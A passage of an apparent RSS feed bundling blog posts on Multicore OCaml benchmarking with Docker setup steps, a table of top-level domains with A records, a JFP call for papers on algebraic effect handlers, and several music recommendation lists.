benchmarking has already enabled us to make informed
decisions about the
impact of our changes, and should come in handy over the next few months where
we polish off and tune the multicore runtime.
Currently, the benchmarks are all single-threaded and run on x86-64. Our current
aim is to quantify the performance impact of running single-threaded OCaml
programs using the multicore compiler. Moving forward, would would include
multi-threaded benchmarks and other architectures.
The benchmarks and the benchmarking infrastructure were adapted from OCamlPro’s
benchmark suite aimed at
benchmarking Flambda optimisation passes.
The difference with the new infrastructure is that all the data is generated as
static HTML and CSV files with data processing performed on the client side in
JavaScript. I find the new setup easier to manage and deploy.
Quality of benchmarks
If you observe the results, you will see that multicore is slowest compared to
trunk OCaml on menhir-standard and menhir-fancy. But if you look closely:

these benchmarks complete in less than 10 milliseconds. This is not enough time
to faithfully compare the implementations as constant factors such as runtime
initialisation and costs of single untimely major GC dominate any useful work.
In fact, almost half of the benchmarks complete within a second. The quality of
this benchmark suite ought to be improved.
Call for benchmarks
While we want longer running benchmarks, we would also like those benchmarks to
represent real OCaml programs found in the wild. If you have long running real
OCaml programs, please consider adding it to the benchmark suite. Your
contribution will ensure that performance-oriented OCaml features such as
multicore and flambda are evaluated on representative OCaml programs.
How to contribute
Make a PR to multicore branch of
ocamllabs/ocamlbench-repo.
The packages directory contains many examples for how to prepare programs for
benchmarking. Among these, numerical-analysis-bench and menhir-bench are
simple and illustrative.
The benchmarks themselves are run using these
scripts.
Dockerfile
There is a handy Dockerfile to test benchmarking setup:
$ docker build -t multicore-cb -f Dockerfile . #takes a while; grab a coffee


This builds the docker image for the benchmarking infrastructure. You can run
the benchmarks as:
$ docker run -p 8080:8080 -it multicore-cb bash
$ cd ~/ocamlbench-scripts
$ ./run-bench.sh --nowait --lazy #takes a while; grab lunch


You can view the results by:
$ cd ~/logs/operf
$ python -m SimpleHTTPServer 8080


Now on your host machine, point your browser to localhost:8080 to
interactively visualise the benchmark results.
Caveats
Aim to get your benchmark compiling with OCaml 4.06.1. You might have trouble
getting your benchmark to compile with the multicore compiler due to several
reasons:
Multicore compiler has syntax extensions for algebraic effect
handlers
which breaks packages that use ppx.
Multicore compiler has a different C
API which breaks core dependencies
such as Lwt.
Certain features such as marshalling closures and custom tag objects are
unimplemented.
If you encounter trouble submitting benchmarks, please make an issue on
kayceesrk/ocamlbench-scripts repo.]]></description>
            <content:encoded><![CDATA[<p>Over the past few weeks, at <a href="http://ocamllabs.io/">OCaml Labs</a>, we’ve deployed
continuous benchmarking infrastructure for <a href="https://github.com/ocamllabs/ocaml-multicore">Multicore
OCaml</a>. Live results are available
at <a href="http://ocamllabs.io/multicore">http://ocamllabs.io/multicore</a>. Continuous
benchmarking has already enabled us to make <a href="https://github.com/ocamllabs/ocaml-multicore/pull/221">informed
decisions</a> about the
impact of our changes, and should come in handy over the next few months where
we polish off and tune the multicore runtime.</p>

<!--more-->

<p>Currently, the benchmarks are all single-threaded and run on x86-64. Our current
aim is to quantify the performance impact of running single-threaded OCaml
programs using the multicore compiler. Moving forward, would would include
multi-threaded benchmarks and other architectures.</p>

<p>The benchmarks and the benchmarking infrastructure were adapted from <a href="https://github.com/OCamlPro/ocamlbench-repo">OCamlPro’s
benchmark suite</a> aimed at
benchmarking <a href="https://bench.flambda.ocamlpro.com/">Flambda optimisation passes</a>.
The difference with the new infrastructure is that all the data is generated as
static HTML and CSV files with data processing performed on the client side in
JavaScript. I find the new setup easier to manage and deploy.</p>

<h2 id="quality-of-benchmarks">Quality of benchmarks</h2>

<p>If you observe the results, you will see that multicore is slowest compared to
trunk OCaml on <code class="language-plaintext highlighter-rouge">menhir-standard</code> and <code class="language-plaintext highlighter-rouge">menhir-fancy</code>. But if you look closely:</p>

<p><img src="https://kcsrk.info/assets/menhir-too-fast.png" alt="Binary tree" /></p>

<p>these benchmarks complete in less than 10 milliseconds. This is not enough time
to faithfully compare the implementations as constant factors such as runtime
initialisation and costs of single untimely major GC dominate any useful work.
In fact, almost half of the benchmarks complete within a second. The quality of
this benchmark suite ought to be improved.</p>

<h2 id="call-for-benchmarks">Call for benchmarks</h2>

<p>While we want longer running benchmarks, we would also like those benchmarks to
represent real OCaml programs found in the wild. If you have long running <em>real</em>
OCaml programs, please consider adding it to the benchmark suite. Your
contribution will ensure that performance-oriented OCaml features such as
multicore and flambda are evaluated on representative OCaml programs.</p>

<h2 id="how-to-contribute">How to contribute</h2>

<p>Make a PR to <code class="language-plaintext highlighter-rouge">multicore</code> branch of
<a href="https://github.com/ocamllabs/ocamlbench-repo/tree/multicore">ocamllabs/ocamlbench-repo</a>.
The <code class="language-plaintext highlighter-rouge">packages</code> directory contains many examples for how to prepare programs for
benchmarking. Among these, <code class="language-plaintext highlighter-rouge">numerical-analysis-bench</code> and <code class="language-plaintext highlighter-rouge">menhir-bench</code> are
simple and illustrative.</p>

<p>The benchmarks themselves are run using <a href="https://github.com/kayceesrk/ocamlbench-scripts">these
scripts</a>.</p>

<h3 id="dockerfile">Dockerfile</h3>

<p>There is a handy Dockerfile to test benchmarking setup:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>docker build <span class="nt">-t</span> multicore-cb <span class="nt">-f</span> Dockerfile <span class="nb">.</span> <span class="c">#takes a while; grab a coffee</span></code></pre></figure>

<p>This builds the docker image for the benchmarking infrastructure. You can run
the benchmarks as:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>docker run <span class="nt">-p</span> 8080:8080 <span class="nt">-it</span> multicore-cb bash
<span class="nv">$ </span><span class="nb">cd</span> ~/ocamlbench-scripts
<span class="nv">$ </span>./run-bench.sh <span class="nt">--nowait</span> <span class="nt">--lazy</span> <span class="c">#takes a while; grab lunch</span></code></pre></figure>

<p>You can view the results by:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">cd</span> ~/logs/operf
<span class="nv">$ </span>python <span class="nt">-m</span> SimpleHTTPServer 8080</code></pre></figure>

<p>Now on your host machine, point your browser to <code class="language-plaintext highlighter-rouge">localhost:8080</code> to
interactively visualise the benchmark results.</p>

<h3 id="caveats">Caveats</h3>

<p>Aim to get your benchmark compiling with OCaml 4.06.1. You might have trouble
getting your benchmark to compile with the multicore compiler due to several
reasons:</p>

<ul>
  <li>Multicore compiler has syntax extensions for <a href="http://kcsrk.info/ocaml/multicore/2015/05/20/effects-multicore/">algebraic effect
handlers</a>
which breaks packages that use ppx.</li>
  <li>Multicore compiler has a different <a href="https://github.com/ocaml/ocaml/pull/1003">C
API</a> which breaks core dependencies
such as Lwt.</li>
  <li>Certain features such as marshalling closures and custom tag objects are
unimplemented.</li>
</ul>

<p>If you encounter trouble submitting benchmarks, please make an issue on
<a href="https://github.com/kayceesrk/ocamlbench-scripts">kayceesrk/ocamlbench-scripts</a> repo.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[A records on top level domains]]></title>
            <link>https://captnemo.in/blog/2018/08/18/tld-a-records/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2018/08/18/tld-a-records/</guid>
            <pubDate>Sat, 18 Aug 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[A few more changes since the last time I ran this.
Update: An automatically updated version of this is available at https://captnemo.in/tld-a-record/
TLD
      IP
      Web
    
ai
      209.59.119.34
      [http] [https]
    
arab
      127.0.53.53
      [http] [https]
    
bh
      88.201.27.211
      [http] [https]
    
charity
      127.0.53.53
      [http] [https]
    
cm
      195.24.205.60
      [http] [https]
    
dk
      193.163.102.58
      [http] [https]
    
gg
      87.117.196.80
      [http] [https]
    
inc
      127.0.53.53
      [http] [https]
    
je
      87.117.196.80
      [http] [https]
    
pa
      168.77.8.43
      [http] [https]
    
pn
      80.68.93.100
      [http] [https]
    
politie
      127.0.53.53
      [http] [https]
    
tk
      217.119.57.22
      [http] [https]
    
uz
      91.212.89.8
      [http] [https]
    
ws
      64.70.19.33
      [http] [https]
    
мон
      202.170.80.40
      [http] [https]
    
мон
      218.100.84.27
      [http] [https]
    
мон
      180.149.98.78
      [http] [https]
    
政府
      127.0.53.53
      [http] [https]
    
عرب
      127.0.53.53
      [http] [https]
    
Diff:

+bh
+charity
-etisalat
+inc
-اتصالات
-招聘
 政府]]></description>
            <content:encoded><![CDATA[<p>A few more changes since <a href="https://captnemo.in/blog/2018/06/02/google-tld-no-more-a-records/">the last time I ran this</a>.</p>

<p><em>Update</em>: An automatically updated version of this is available at https://captnemo.in/tld-a-record/</p>

<table>
  <tbody>
    <tr>
      <td>TLD</td>
      <td>IP</td>
      <td>Web</td>
    </tr>
    <tr>
      <td>ai</td>
      <td>209.59.119.34</td>
      <td>[<a href="http://ai">http</a>] [<a href="https://ai">https</a>]</td>
    </tr>
    <tr>
      <td>arab</td>
      <td>127.0.53.53</td>
      <td>[<a href="http://arab">http</a>] [<a href="https://arab">https</a>]</td>
    </tr>
    <tr>
      <td>bh</td>
      <td>88.201.27.211</td>
      <td>[<a href="http://bh">http</a>] [<a href="https://bh">https</a>]</td>
    </tr>
    <tr>
      <td>charity</td>
      <td>127.0.53.53</td>
      <td>[<a href="http://charity">http</a>] [<a href="https://charity">https</a>]</td>
    </tr>
    <tr>
      <td>cm</td>
      <td>195.24.205.60</td>
      <td>[<a href="http://cm">http</a>] [<a href="https://cm">https</a>]</td>
    </tr>
    <tr>
      <td>dk</td>
      <td>193.163.102.58</td>
      <td>[<a href="http://dk">http</a>] [<a href="https://dk">https</a>]</td>
    </tr>
    <tr>
      <td>gg</td>
      <td>87.117.196.80</td>
      <td>[<a href="http://gg">http</a>] [<a href="https://gg">https</a>]</td>
    </tr>
    <tr>
      <td>inc</td>
      <td>127.0.53.53</td>
      <td>[<a href="http://inc">http</a>] [<a href="https://inc">https</a>]</td>
    </tr>
    <tr>
      <td>je</td>
      <td>87.117.196.80</td>
      <td>[<a href="http://je">http</a>] [<a href="https://je">https</a>]</td>
    </tr>
    <tr>
      <td>pa</td>
      <td>168.77.8.43</td>
      <td>[<a href="http://pa">http</a>] [<a href="https://pa">https</a>]</td>
    </tr>
    <tr>
      <td>pn</td>
      <td>80.68.93.100</td>
      <td>[<a href="http://pn">http</a>] [<a href="https://pn">https</a>]</td>
    </tr>
    <tr>
      <td>politie</td>
      <td>127.0.53.53</td>
      <td>[<a href="http://politie">http</a>] [<a href="https://politie">https</a>]</td>
    </tr>
    <tr>
      <td>tk</td>
      <td>217.119.57.22</td>
      <td>[<a href="http://tk">http</a>] [<a href="https://tk">https</a>]</td>
    </tr>
    <tr>
      <td>uz</td>
      <td>91.212.89.8</td>
      <td>[<a href="http://uz">http</a>] [<a href="https://uz">https</a>]</td>
    </tr>
    <tr>
      <td>ws</td>
      <td>64.70.19.33</td>
      <td>[<a href="http://ws">http</a>] [<a href="https://ws">https</a>]</td>
    </tr>
    <tr>
      <td>мон</td>
      <td>202.170.80.40</td>
      <td>[<a href="http://мон">http</a>] [<a href="https://мон">https</a>]</td>
    </tr>
    <tr>
      <td>мон</td>
      <td>218.100.84.27</td>
      <td>[<a href="http://мон">http</a>] [<a href="https://мон">https</a>]</td>
    </tr>
    <tr>
      <td>мон</td>
      <td>180.149.98.78</td>
      <td>[<a href="http://мон">http</a>] [<a href="https://мон">https</a>]</td>
    </tr>
    <tr>
      <td>政府</td>
      <td>127.0.53.53</td>
      <td>[<a href="http://政府">http</a>] [<a href="https://政府">https</a>]</td>
    </tr>
    <tr>
      <td>عرب</td>
      <td>127.0.53.53</td>
      <td>[<a href="http://عرب">http</a>] [<a href="https://عرب">https</a>]</td>
    </tr>
  </tbody>
</table>

<p>Diff:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gi">+bh
+charity
</span><span class="gd">-etisalat
</span><span class="gi">+inc
</span><span class="gd">-اتصالات
-招聘
</span> 政府
</code></pre></div></div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[JFP Special Issue on Algebraic Effects and Handlers]]></title>
            <link>https://kcsrk.info/handlers/paper/2018/08/16/jfp-effect-handlers/</link>
            <guid isPermaLink="false">https://kcsrk.info/handlers/paper/2018/08/16/jfp-effect-handlers/</guid>
            <pubDate>Thu, 16 Aug 2018 09:09:00 GMT</pubDate>
            <description><![CDATA[Andrej Bauer and I are editing a special issue of JFP
on the theory and practice of algebraic effects and handlers. The CfP is below.

CALL FOR PAPERS

JFP Special Issue
on
The Theory and Practice of Algebraic Effects and Handlers

Submission Deadline: 18 January 2019
Expected Publication Date: December 2019


Scope
An important aspect of real-world languages is their support for computational
effects such as raising exceptions, printing to the screen, accessing a
database, non-determinism, and concurrency. In order to reason about the
semantics of a programming language with computational effects, it is necessary
to separate the effects out from the rest of the language. To this end, algebraic
effects permit a wide class of computational effects to be specified in a pure
setting using only operations that give rise to them and equations that the
operations satisfy. The algebraic treatment of operations naturally leads to a
novel treatment of handlers for all computational effects, not just for
exceptions.
Algebraic effect handlers have been steadily gaining attention as a programming
language feature since they generalise many control-flow abstractions such as
exception handling, iterators, async/await, or backtracking, while ensuring
that the composition of various features remains well-behaved. Indeed, there
are implementations of algebraic effects and effect handlers as libraries in C,
Clojure, F#, Haskell, OCaml, Scala, JavaScript, as well as full-fledged
languages such as Eff, Frank, Links, Koka, and Multicore OCaml. Algebraic effect
handlers have also influenced the design of software tools in industry
including Facebook’s React UI library and Uber’s Pyro probabilistic programming
language.
To recognise and encourage the publication of mature research contributions in
this area, a special issue of the Journal of Functional Programming (JFP) will
be devoted to the same theme.
Topics
Full-length, archival-quality submissions are solicited on theoretical and
practical aspects of algebraic effects and handlers. Examples
include, but are not limited to:
Reasoning about algebraic effects and handlers (denotational semantics,
dependent types, logical relations, language support for equational reasoning)
Effect typing (subtyping, row-polymorphism, generativity, encapsulation)
Implementation of effect handlers (dynamic effects, selective CPS
translations, delimited continuations)
Applications of algebraic effect handlers (probabilistic programming, event
correlation, meta-programming, asynchronous I/O, debugging)

Reports on applications of these techniques to real-world problems are
especially encouraged, as are submissions that relate ideas and concepts from
several of these topics, or bridge the gap between theory and practice.
Papers will be reviewed as regular JFP submissions, and acceptance in the
special issue will be based on both JFP’s quality standards and relevance to
the theme. The special issue also welcomes high-quality survey and position
papers that would benefit a wide audience.
Authors are encouraged to indicate interest in submitting by December 14,
2018, to aid in identifying suitable reviewers. The submission deadline is
January 18, 2019. The expected submission length is 25-35 pages, excluding
bibliography and appendices. Shorter submissions are encouraged; prospective
authors of longer submissions should discuss their plans with the special issue
editors in advance.
Submissions that are based on previously-published conference or workshop
papers must clearly describe the relationship with the initial publication, and
must differ sufficiently that the author can assign copyright to Cambridge
University Press. Prospective authors are welcome to discuss such submissions
with the editors to ensure compliance with this policy.
Submissions
Submissions should be sent through the JFP Manuscript Central system at
https://mc.manuscriptcentral.com/cup/jfp_submit.
Choose “Effects and Handlers” as the paper type, so that it gets assigned to the
special issue.
For other submission details, please consult an issue of the Journal of
Functional Programming or see the Journal’s web page at
http://journals.cambridge.org/jid_JFP.
Tentative Schedule
14 December 2018: Expression of interest
18 January 2019: Submission deadline
22 April 2019: First round of reviews
23 August 2019: Revision deadline
15 November 2019: Second round of reviews
13 December 2019: Final accepted versions due
Guest Editors
Andrej Bauer, Faculty of Mathematics and Physics, University of Ljubljana
KC Sivaramakrishnan, Department of Computer Science and Technology,
University of Cambridge
Editors in Chief
Jeremy Gibbons, Department of Computer Science, University of Oxford
Matthias Felleisen, College of Computer and Information Science, Northeastern
University]]></description>
            <content:encoded><![CDATA[<p><a href="http://www.andrej.com/">Andrej Bauer</a> and I are editing a special issue of JFP
on the theory and practice of algebraic effects and handlers. The CfP is below.</p>

<hr />

<!--more-->

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CALL FOR PAPERS

JFP Special Issue
on
The Theory and Practice of Algebraic Effects and Handlers

Submission Deadline: 18 January 2019
Expected Publication Date: December 2019
</code></pre></div></div>

<h2 id="scope">Scope</h2>

<p>An important aspect of real-world languages is their support for computational
effects such as raising exceptions, printing to the screen, accessing a
database, non-determinism, and concurrency. In order to reason about the
semantics of a programming language with computational effects, it is necessary
to separate the effects out from the rest of the language. To this end, algebraic
effects permit a wide class of computational effects to be specified in a pure
setting using only operations that give rise to them and equations that the
operations satisfy. The algebraic treatment of operations naturally leads to a
novel treatment of handlers for all computational effects, not just for
exceptions.</p>

<p>Algebraic effect handlers have been steadily gaining attention as a programming
language feature since they generalise many control-flow abstractions such as
exception handling, iterators, async/await, or backtracking, while ensuring
that the composition of various features remains well-behaved. Indeed, there
are implementations of algebraic effects and effect handlers as libraries in C,
Clojure, F#, Haskell, OCaml, Scala, JavaScript, as well as full-fledged
languages such as Eff, Frank, Links, Koka, and Multicore OCaml. Algebraic effect
handlers have also influenced the design of software tools in industry
including Facebook’s React UI library and Uber’s Pyro probabilistic programming
language.</p>

<p>To recognise and encourage the publication of mature research contributions in
this area, a special issue of the Journal of Functional Programming (JFP) will
be devoted to the same theme.</p>

<h2 id="topics">Topics</h2>

<p>Full-length, archival-quality submissions are solicited on theoretical and
practical aspects of algebraic effects and handlers. Examples
include, but are not limited to:</p>

<ul>
  <li>Reasoning about algebraic effects and handlers (denotational semantics,
dependent types, logical relations, language support for equational reasoning)</li>
  <li>Effect typing (subtyping, row-polymorphism, generativity, encapsulation)</li>
  <li>Implementation of effect handlers (dynamic effects, selective CPS
translations, delimited continuations)</li>
  <li>Applications of algebraic effect handlers (probabilistic programming, event
correlation, meta-programming, asynchronous I/O, debugging)</li>
</ul>

<p><br />
Reports on applications of these techniques to real-world problems are
especially encouraged, as are submissions that relate ideas and concepts from
several of these topics, or bridge the gap between theory and practice.</p>

<p>Papers will be reviewed as regular JFP submissions, and acceptance in the
special issue will be based on both JFP’s quality standards and relevance to
the theme. The special issue also welcomes high-quality survey and position
papers that would benefit a wide audience.</p>

<p>Authors are encouraged to indicate interest in submitting by <strong>December 14,
2018</strong>, to aid in identifying suitable reviewers. The submission deadline is
<strong>January 18, 2019</strong>. The expected submission length is 25-35 pages, excluding
bibliography and appendices. Shorter submissions are encouraged; prospective
authors of longer submissions should discuss their plans with the special issue
editors in advance.</p>

<p>Submissions that are based on previously-published conference or workshop
papers must clearly describe the relationship with the initial publication, and
must differ sufficiently that the author can assign copyright to Cambridge
University Press. Prospective authors are welcome to discuss such submissions
with the editors to ensure compliance with this policy.</p>

<h2 id="submissions">Submissions</h2>

<p>Submissions should be sent through the JFP Manuscript Central system at
<a href="https://mc.manuscriptcentral.com/cup/jfp_submit">https://mc.manuscriptcentral.com/cup/jfp_submit</a>.
Choose “Effects and Handlers” as the paper type, so that it gets assigned to the
special issue.</p>

<p>For other submission details, please consult an issue of the Journal of
Functional Programming or see the Journal’s web page at
<a href="http://journals.cambridge.org/jid_JFP">http://journals.cambridge.org/jid_JFP</a>.</p>

<h2 id="tentative-schedule">Tentative Schedule</h2>

<ul>
  <li>14 December 2018: Expression of interest</li>
  <li>18 January 2019: Submission deadline</li>
  <li>22 April 2019: First round of reviews</li>
  <li>23 August 2019: Revision deadline</li>
  <li>15 November 2019: Second round of reviews</li>
  <li>13 December 2019: Final accepted versions due</li>
</ul>

<h2 id="guest-editors">Guest Editors</h2>

<ul>
  <li>Andrej Bauer, Faculty of Mathematics and Physics, University of Ljubljana</li>
  <li>KC Sivaramakrishnan, Department of Computer Science and Technology,
University of Cambridge</li>
</ul>

<h2 id="editors-in-chief">Editors in Chief</h2>

<ul>
  <li>Jeremy Gibbons, Department of Computer Science, University of Oxford</li>
  <li>Matthias Felleisen, College of Computer and Information Science, Northeastern
University</li>
</ul>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Bi-Weekly Music Post Part 4]]></title>
            <link>https://mrkaran.dev/posts/biweekly-music-part-4/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/biweekly-music-part-4/</guid>
            <pubDate>Sat, 28 Jul 2018 15:40:55 GMT</pubDate>
            <description><![CDATA[I am writing this post exactly after 30 days of the last one, caught up with some work and I couldn’t write a new post, apologies! To make up for the delay, I have some absolutely gold reccos this time which I believe you will like it.
Isaac Gracie - reverie#

Tash Sultana - Jungle#

18th Dec - Tienas#

Pareek - Ariana and Amrina, Coke Studio Explorer 2018#

When The Curtain Falls - Greta Van Fleet#

Poppy Ackroyd - Paper#

Nothing Personal - Night Riots#

Do reach out to me @mrkaran_ with your dose of music reccos.
Fin!]]></description>
            <content:encoded><![CDATA[<p>I am writing this post exactly after 30 days of the last one, caught up with some work and I couldn’t write a new post, apologies! To make up for the delay, I have some absolutely gold reccos this time which I believe you will like it.</p>
<h3 id="isaac-gracie-reverie">Isaac Gracie - reverie<a class="zola-anchor" href="#isaac-gracie-reverie" aria-label="Anchor link for: isaac-gracie-reverie">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=08takkHGMSE"><img src="https://img.youtube.com/vi/08takkHGMSE/0.jpg" alt="Isaac Gracie - reverie" /></a></p>
<h3 id="tash-sultana-jungle">Tash Sultana - Jungle<a class="zola-anchor" href="#tash-sultana-jungle" aria-label="Anchor link for: tash-sultana-jungle">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=CZvP7PwUAwM"><img src="https://img.youtube.com/vi/CZvP7PwUAwM/0.jpg" alt="Tash Sultana - Jungle" /></a></p>
<h3 id="18th-dec-tienas">18th Dec - Tienas<a class="zola-anchor" href="#18th-dec-tienas" aria-label="Anchor link for: 18th-dec-tienas">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=sFZxvUTBJ14"><img src="https://img.youtube.com/vi/sFZxvUTBJ14/0.jpg" alt="18th Dec - Tienas" /></a></p>
<h3 id="pareek-ariana-and-amrina-coke-studio-explorer-2018">Pareek - Ariana and Amrina, Coke Studio Explorer 2018<a class="zola-anchor" href="#pareek-ariana-and-amrina-coke-studio-explorer-2018" aria-label="Anchor link for: pareek-ariana-and-amrina-coke-studio-explorer-2018">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=8Pvs8X8wvIU"><img src="https://img.youtube.com/vi/8Pvs8X8wvIU/0.jpg" alt="Pareek" /></a></p>
<h3 id="when-the-curtain-falls-greta-van-fleet">When The Curtain Falls - Greta Van Fleet<a class="zola-anchor" href="#when-the-curtain-falls-greta-van-fleet" aria-label="Anchor link for: when-the-curtain-falls-greta-van-fleet">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=hurQgJXtpKI"><img src="https://img.youtube.com/vi/hurQgJXtpKI/0.jpg" alt="When The Curtain Falls" /></a></p>
<h3 id="poppy-ackroyd-paper">Poppy Ackroyd - Paper<a class="zola-anchor" href="#poppy-ackroyd-paper" aria-label="Anchor link for: poppy-ackroyd-paper">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=3LR1xpUu9eM"><img src="https://img.youtube.com/vi/3LR1xpUu9eM/0.jpg" alt="Poppy Ackroyd" /></a></p>
<h3 id="nothing-personal-night-riots">Nothing Personal - Night Riots<a class="zola-anchor" href="#nothing-personal-night-riots" aria-label="Anchor link for: nothing-personal-night-riots">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=BS74kXPRyoc"><img src="https://img.youtube.com/vi/BS74kXPRyoc/0.jpg" alt="Nothing Personal" /></a></p>
<p>Do reach out to me <a rel="external" href="https://twitter.com/mrkaran_">@mrkaran_</a> with your dose of music reccos.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Bi-Weekly Music Post Part 3]]></title>
            <link>https://mrkaran.dev/posts/biweekly-music-part-3/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/biweekly-music-part-3/</guid>
            <pubDate>Thu, 28 Jun 2018 16:00:55 GMT</pubDate>
            <description><![CDATA[Since the past one week, I’m having troubles in connecting to Spotify from India and my #1 source for discovering music is gone.
I’ve started using Saavn but it has crappy recommendations and too much of “Bollywoody”/crap shit thrown all over. Also, it requires location access to suggest new
music. LOL is this a joke or what? Like seriously, can’t think of a single reason why a ML algo would require my location to suggest me music.
Anyway, this week’s recommendation might be a bit more “Desi” as I’ve discovered some real good bands from our country and our beloved neighbours(ofcourse!)
Mist of Capricorn - Agam#

Rangapura Vihaara - Agam#

Toh Phir Aao - Levi’s Live Session 7 by Mustafa Zahid & ROXEN#

Aankhon Kay Sagar - Shafqat Amanat Ali, Coke Studio Pakistan, Season 2#

Hit Me Up - The PropheC#

Tareefan Reprise - Lisa Mishra#

Message In A Bottle - The Police#

Agnes - Glass Animals#

Psycho Killer - Talking Heads#

Do reach out to me @mrkaran_ with your dose of music reccos.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Since the past one week, I’m having troubles in connecting to Spotify from India and my #1 source for discovering music is gone.<i class="em em-disappointed"></i>
I’ve started using <code>Saavn</code> but it has crappy recommendations and too much of “Bollywoody”/crap shit thrown all over. Also, it requires location access to suggest new
music. LOL is this a joke or what? Like seriously, can’t think of a single reason why a ML algo would require my location to suggest me music.</p>
<p>Anyway, this week’s recommendation might be a bit more “Desi” as I’ve discovered some real good bands from our country and our beloved neighbours(ofcourse!)</p>
<h3 id="mist-of-capricorn-agam">Mist of Capricorn - Agam<a class="zola-anchor" href="#mist-of-capricorn-agam" aria-label="Anchor link for: mist-of-capricorn-agam">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=zkvNnRjIhPE"><img src="https://img.youtube.com/vi/zkvNnRjIhPE/0.jpg" alt="Mist of Capricorn" /></a></p>
<h3 id="rangapura-vihaara-agam">Rangapura Vihaara - Agam<a class="zola-anchor" href="#rangapura-vihaara-agam" aria-label="Anchor link for: rangapura-vihaara-agam">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=oESni03J8h8"><img src="https://img.youtube.com/vi/oESni03J8h8/0.jpg" alt="Rangapura Vihaara" /></a></p>
<h3 id="toh-phir-aao-levi-s-live-session-7-by-mustafa-zahid-roxen">Toh Phir Aao - Levi’s Live Session 7 by Mustafa Zahid &amp; ROXEN<a class="zola-anchor" href="#toh-phir-aao-levi-s-live-session-7-by-mustafa-zahid-roxen" aria-label="Anchor link for: toh-phir-aao-levi-s-live-session-7-by-mustafa-zahid-roxen">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=xbqyLExOeyk"><img src="https://img.youtube.com/vi/xbqyLExOeyk/0.jpg" alt="Toh Phir Aao" /></a></p>
<h3 id="aankhon-kay-sagar-shafqat-amanat-ali-coke-studio-pakistan-season-2">Aankhon Kay Sagar - Shafqat Amanat Ali, Coke Studio Pakistan, Season 2<a class="zola-anchor" href="#aankhon-kay-sagar-shafqat-amanat-ali-coke-studio-pakistan-season-2" aria-label="Anchor link for: aankhon-kay-sagar-shafqat-amanat-ali-coke-studio-pakistan-season-2">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=I7xqX51zqoM"><img src="https://img.youtube.com/vi/I7xqX51zqoM/0.jpg" alt="Aankhon Kay Sagar" /></a></p>
<h3 id="hit-me-up-the-prophec">Hit Me Up - The PropheC<a class="zola-anchor" href="#hit-me-up-the-prophec" aria-label="Anchor link for: hit-me-up-the-prophec">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=3B14osWIJRM"><img src="https://img.youtube.com/vi/3B14osWIJRM/0.jpg" alt="Hit Me Up" /></a></p>
<h3 id="tareefan-reprise-lisa-mishra">Tareefan Reprise - Lisa Mishra<a class="zola-anchor" href="#tareefan-reprise-lisa-mishra" aria-label="Anchor link for: tareefan-reprise-lisa-mishra">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=_Uksazt6G2M"><img src="https://img.youtube.com/vi/_Uksazt6G2M/0.jpg" alt="Tareefan" /></a></p>
<h3 id="message-in-a-bottle-the-police">Message In A Bottle - The Police<a class="zola-anchor" href="#message-in-a-bottle-the-police" aria-label="Anchor link for: message-in-a-bottle-the-police">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=MbXWrmQW-OE"><img src="https://img.youtube.com/vi/MbXWrmQW-OE/0.jpg" alt="Message In A Bottle" /></a></p>
<h3 id="agnes-glass-animals">Agnes - Glass Animals<a class="zola-anchor" href="#agnes-glass-animals" aria-label="Anchor link for: agnes-glass-animals">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=PhdtdUljThU"><img src="https://img.youtube.com/vi/PhdtdUljThU/0.jpg" alt="Agnes" /></a></p>
<h3 id="psycho-killer-talking-heads">Psycho Killer - Talking Heads<a class="zola-anchor" href="#psycho-killer-talking-heads" aria-label="Anchor link for: psycho-killer-talking-heads">#</a></h3>
<p><a rel="external" href="https://www.youtube.com/watch?v=2fioGtDPNEk"><img src="https://img.youtube.com/vi/2fioGtDPNEk/0.jpg" alt="Psycho Killer" /></a></p>
<p>Do reach out to me <a rel="external" href="https://twitter.com/mrkaran_">@mrkaran_</a> with your dose of music reccos.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Bi-Weekly Music Post Part 2]]></title>
            <link>https://mrkaran.dev/posts/biweekly-music-part-2/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/biweekly-music-part-2/</guid>
            <pubDate>Thu, 14 Jun 2018 07:00:55 GMT</pubDate>
            <description><![CDATA[Ive looped through Nescafe Basement like 100 times the past two weeks and still cant get enough of it. This is the kind of music I like, the kind that just grows on you until you loop endlessly and then hate it 
Anyway, the following is a list of songs that I have discovered and liked the most in the past two weeks.
Tattva - aswekeepsearching#

Koothu Over Coffee - Agam#

Tere Ishq Mein Jo Bhi - Nescafe Basement#

Houndmouth - Sedona#

Heavy - Collective Soul#

The Youth - George Taylor#

Porcupine - Pigeons Playing Ping Pong#

